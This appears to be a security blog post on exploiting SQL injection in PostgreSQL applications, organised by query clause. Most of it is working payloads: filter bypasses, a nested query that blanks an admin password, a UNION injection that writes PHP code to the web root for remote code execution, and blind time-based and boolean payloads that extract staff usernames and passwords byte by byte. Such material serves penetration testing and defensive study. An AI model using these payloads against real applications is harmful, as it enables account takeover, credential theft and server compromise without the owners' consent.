This post revolves around general analysis, exploitation and discovery of SQL Injection vulnerabilities in app using the Postgres DMBS.
We will take a look into bypass methods for web application firewalls, ways of exfiltrating data in different query clauses, such as SELECT, WHERE, ORDER BY, FROM... etc.
For a brief overview, PostgreSQL is:
[...] a free and open-source relational database management system emphasizing extensibility and technical standards compliance. It is designed to handle a range of workloads, from single machines to data warehouses or Web services with many concurrent users. - Wikipedia
DISCLAIMER: All of these bypasses and techniques have been tested on PostgreSQL version 12.2 and only 12.2
Bypass methods
Since DBMS' all use a common language for the most part (SQL), base functionalities and syntax is practically universal. This means that bypass methods from on DBMS may carry over to other ones, an example of this would be when spaces are blocked in a SQL injection, you can use a comment instead, for example:
Query:
SELECT 1;
Bypass:
SELECT/**/1;
The example above is both compatible in MySQL and PostgreSQL (which are the DBMS' that this post will revolve around).
Bypassing spaces
As demonstrated above:
/**/ == " " (without the quotation marks, a white space)
Bypassing trailing data after injection point
; -- - tells the query to ignore all trailing data, for example:
SELECT 'admin' OR 1 = 1; -- -' FROM users; would turn into SELECT 'admin' OR 1 = 1;
Bypassing limits on quotation marks
Using dollars:
SELECT $$test$$; is the same as SELECT 'test';
If consecutive dollar signs are blocked ($$), then you can also use tags in postgreSQL by putting tag names between dollar signs:
SELECT $quote$test$quote$; is also the same as SELECT 'test';
Using the CHR() function with pipe concatenation:
SELECT CHR(65)||CHR(66)||CHR(67)||CHR(68)||CHR(69)||CHR(70)||CHR(71)||CHR(72); is the equivalent of SELECT 'ABCDEFGH';
NOTE: You cannot combine both ' and $$ / $quote$, so if you need to escape a string that is started with a single quote, you will not be able to use $$ (I.E. this will not work SELECT 'test$$;)
Nested queries
Sometimes, you get lucky enough for your SQL Injection point to allow nested queries. This gives you full control over what the DB executes (as long as there isn't some sort of web application firewall or filter).
A nested query consists of terminating the query that is vulnerable to the SQL Injection and starting a completely new one, of whatever type you want. For example:
SELECT [INJECTION POINT] FROM users;
Could then be turned into:
SELECT ''; UPDATE users SET password = '' WHERE name = 'admin'; -- -' FROM users;
Which the database understands as:
SELECT ''; UPDATE users SET password = '' WHERE name = 'admin';
Which will display nothing, and then set the admin password in the users table to be empty (be careful setting the admin password to blank, if the app is hashing passwords before inserting them into the database, you will not be able to login).
Final payload being:
'; UPDATE users SET password = '' WHERE name = 'admin'; -- -
For the sake of in depth analysis of the following payloads, we will assume that nested queries are not allowed.
Different clause exploitation methods
This section will assume nested queries are disallowed, and will demonstrate some other ways of possibly elevating severity, or exfiltrating data via both blind and visible queries
SELECT / UNION
If your injection point is in either SELECT or UNION clauses, you are in luck. This is without a doubt the "easiest" clause to exploit, due to the early on call of the "SELECT" clause, it means you can build most of the SQL query yourself, giving you almost full flexibility. As for the UNION clause, it is probably one of the clauses with most documentation on how to exploit available online. Meaning you will most likely be able to find a payload that works for you.
SELECT
What I mean by "the clause is called early on", is that it is usually the first clause to be called in the structured statement, and the injection point is usually as far as you can get to the start. We can abuse this to basically make our own query.
An example of this is (we control anything from "[INJECTION POINT]" onwards):
SELECT '[INJECTION POINT]';
| Usage | Complete query | Payload |
|---|---|---|
| Append data to output of query | SELECT '1' UNION SELECT 'a'; -- -' | 1' UNION SELECT 'a'; -- - |
| Escalate to RCE via PHP code | SELECT '' UNION SELECT 'MALICIOUS PHP CODE' \g /var/www/test.php; -- -'; | ' UNION SELECT 'MALICIOUS PHP CODE' \g /var/www/test.php; -- - |
| Blind time based character exfiltration | SELECT '' || pg_sleep((ASCII((SELECT 'a' LIMIT 1)) - 32) / 2); -- -'; | ' || pg_sleep((ASCII((SELECT 'a' LIMIT 1)) - 32) / 2); -- - |
UNION
Same rules apply as previous section, except data shall be appended to end of the output instead of clear output. A massively useful operator for both situations is the concatenate operator (||), as it can be used to append data onto output in same row.
For example:
SELECT ''||password FROM users; -- -'; will return the passwords column from the users table.
WHERE
The WHERE clause is used for specifying conditionals so that the DBMS has a clearer idea of what exactly you are looking for. An example query would be: SELECT * FROM users WHERE name = 'admin';
Knowing this, and the fact that this clause also appears fairly early on in the query most of the time, we can either complete the where clause and then use UNION payloads as seen above to exploit it further, or directly use the WHERE conditionals to exfiltrate data. For example:
SELECT first_name FROM actor WHERE first_name = 'Gus';
Could be turned into:
SELECT first_name FROM actor WHERE first_name = ''||(SELECT 'Penelope'); -- -';
Now that we have concatenation of strings, we can turn it into a binary query with COUNT() and CASE WHEN.
Here is a payload I developed that takes advantage of the idea that we know at least one value in the table that is being queried with the original WHERE clause.
SELECT first_name FROM actor WHERE first_name = ''||(SELECT CASE WHEN (SELECT COUNT((SELECT username FROM staff WHERE username SIMILAR TO '[BRUTEFORCE BYTE BY BYTE]%')))<>0 THEN 'Penelope' ELSE '' END);
Now, depending on whether the password starts with the byte we are bruteforcing or not, it will either return the output of the query
SELECT first_name FROM actor WHERE first_name = 'Penelope'; or the output of the query SELECT first_name FROM actor WHERE first_name = '';
We can then use this information to leak the whole string in other tables of the database.
FROM
The FROM clause is used to determine what part of the database we are selecting information from, and usually comes after the argument passed to the SELECT clause.
For this SQL Injection we can rely on the trusty time based blind SQL Injection payloads, except for it to be a table, we need to give it an alias. This can be done using the "AS" clause in postgreSQL. An example would be:
SELECT address FROM (SELECT * FROM address WHERE address=''||(pg_sleep(20))) ss;
We can use this to exfiltrate data purely via the FROM clause as so:
(SELECT * FROM address WHERE address=''||(SELECT CASE WHEN (SELECT COUNT((SELECT username FROM staff WHERE username SIMILAR TO 'M%')))<>0 THEN pg_sleep(20) ELSE '' END)) ss; -- -
Depending on whether the SELECT username FROM staff WHERE username SIMILAR TO 'M%' returns something or not, it will either sleep for 20 seconds, or do nothing. This can be leveraged do bruteforce data byte by byte.
The final query being something like:
SELECT address FROM (SELECT * FROM address WHERE address=''||(SELECT CASE WHEN (SELECT COUNT((SELECT username FROM staff WHERE username SIMILAR TO 'M%')))<>0 THEN pg_sleep(20) ELSE '' END)) ss; -- -;
ORDER BY
For data exfiltration purely in the ORDER BY clause it was quite complex when it came to conditionals. I found two valid parameters for the clause (true and false), then I nested SELECT and CASE WHEN statements until I could translate "if the password field of this table starts with a certain byte then sleep for 20 seconds" to "true or false".
(SELECT CASE WHEN COUNT((SELECT (SELECT CASE WHEN COUNT((SELECT username FROM staff WHERE username SIMILAR TO 'M%'))<>0 THEN pg_sleep(20) ELSE '' END)))<>0 THEN true ELSE false END); -- -
To break it down a bit further, in a full, valid query, it would look something like:
SELECT address FROM address ORDER BY (
SELECT CASE WHEN COUNT((
SELECT (
SELECT CASE WHEN COUNT((
SELECT username FROM staff WHERE username SIMILAR TO 'M%'))
<>0 THEN pg_sleep(20) ELSE '' END)
))
<>0 THEN true ELSE false END); -- -
An attempt to explain this query would look something like this:
- If the first COUNT function does not return zero, then we get our final true or false for the ORDER BY.
- This true or false is dependant on an inner select.
- The inner select will either sleep for 20 seconds, or return nothing.
- This is dependant on whether the first letter of a user in the staff table starts with an M (This is the
SELECT username FROM staff WHERE username SIMILAR TO 'M%'part).
OFFSET
This clause allows you to only retrieve a portion of the rows that are generated by the rest of the query. OFFSET will remove the amount of rows given to it from the start of the rows outputted, while LIMIT will remove them from the end.
If this type of SQL injection is found in something that returns a large amount of data, you could use the amount of rows removed from the start of the output to determine length of strings, or even characters by converting the character to it's ASCII code.
For example, using the LENGTH function:
dvdrental=# SELECT address FROM address OFFSET 0; will return:
47 MySakila Drive
28 MySQL Boulevard
23 Workhaven Lane
1411 Lillydale Drive
1913 Hanoi Way
1121 Loja Avenue
692 Joliet Street
1566 Inegl Manor
53 Idfu Parkway
1795 Santiago de Compostela Way
900 Santiago de Compostela Parkway
478 Joliet Way
613 Korolev Drive
1531 Sal Drive
1542 Tarlac Parkway
So we can now do something along the lines of:
SELECT address FROM address OFFSET 0|(SELECT LENGTH((SELECT username FROM staff WHERE username SIMILAR TO 'M%')));
1913 Hanoi Way
1121 Loja Avenue
692 Joliet Street
1566 Inegl Manor
53 Idfu Parkway
1795 Santiago de Compostela Way
900 Santiago de Compostela Parkway
478 Joliet Way
613 Korolev Drive
1531 Sal Drive
1542 Tarlac Parkway
So we can see that the first 4 lines have been removed from the output, meaning the length of the username in the staff table, that starts with "M", is 4 characters long.
Furthermore, based on whether the OFFSET clause removes rows or not, we can blindly brute-force values in the database, byte by byte. Like this:
SELECT address FROM address OFFSET 0+(SELECT LENGTH((SELECT password FROM staff WHERE password SIMILAR TO '8%' LIMIT 1)));
This will set the amount of rows to remove from the start to be 0 + (LENGTH OF PASSWORD THAT STARTS WITH "8"), so if a password exists that starts 8, we will see a difference in the amount of rows returned. This can be used to further check for each byte, until we retrieve the whole password value.
HAVING
This parameter accepts a conditional, so I added an "AND" operator to make it so both values must be true, then I added the conditional that will allow us to brute-force the value byte by byte.
t' AND (SELECT COUNT((SELECT password FROM staff WHERE password SIMILAR TO '8%' LIMIT 1))) = 1; -- -
Similarly, if output is not displayed, you can make the most of the pg_sleep() function to sleep for 20 seconds if it is true, and use that to determine the conditionals output.
Quick tests for vulnerability
These are all quick payloads to use in parameters that seem vulnerable that should cause the app to sleep and delay response time. If the server response time increases by a significant amount with the payload (around 20 seconds), it means the application is vulnerable.
SELECT
If parameter is an integer:
pg_sleep(20); -- -
If the parameter is a string:
'||pg_sleep(20); -- -
FROM
This will only work if a valid table name and column is provided in the first SELECT clause of the payload
(SELECT * FROM [TABLE] WHERE [COLUMN]=1|(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -
or
(SELECT * FROM [TABLE] WHERE [COLUMN] = 'asd'::varchar||(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -
Final "ss" is necessary, but can be anything that isn't a reserved word
When known column requires an int
Example:
(SELECT * FROM address WHERE address_id=1|(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -
Full query:
SELECT address FROM (SELECT * FROM address WHERE address_id=1|(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -
When known column requires a string
Example:
(SELECT * FROM address WHERE address = 'asd'::varchar||(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -
Full query:
SELECT address FROM (SELECT * FROM address WHERE address = 'asd'::varchar||(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -
WHERE
If parameter is an integer:
1|(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END)); -- -
If parameter is a string:
'||(pg_sleep(20)); -- -
ORDER BY
WARNING, THIS WILL NOT ACTUALLY CHANGE THE ORDER OF THE OUTPUT DEPENDING ON BOOLEAN OUTPUT, IT IS PURELY TO TRIGGER THE pg_sleep(20)
(SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN true ELSE false END); -- -
HAVING
If parameter is an integer:
(COUNT((SELECT pg_sleep(20)))=1); -- -
If parameter is a string:
t' AND (SELECT COUNT((SELECT pg_sleep(20)))) = 1; -- -
OFFSET
If parameter is an integer:
1|(SELECT COUNT((SELECT pg_sleep(20)))); -- -
If parameter is a string, use "::integer" to convert value to int string and then same payload as above:
1'::integer + 1|(SELECT COUNT((SELECT pg_sleep(20)))); -- -
Conclusion
In conclusion, many techniques and methodologies carry over from other DBMS' to postgreSQL, although I noticed a lack in public SQL Injection payloads for this specific engine.
As I had never played with postgreSQL before, I thought it would be a good opportunity to broaden my knowledge of techniques, and also familiarize myself with what is possible in this DBMS, that may not be in others.
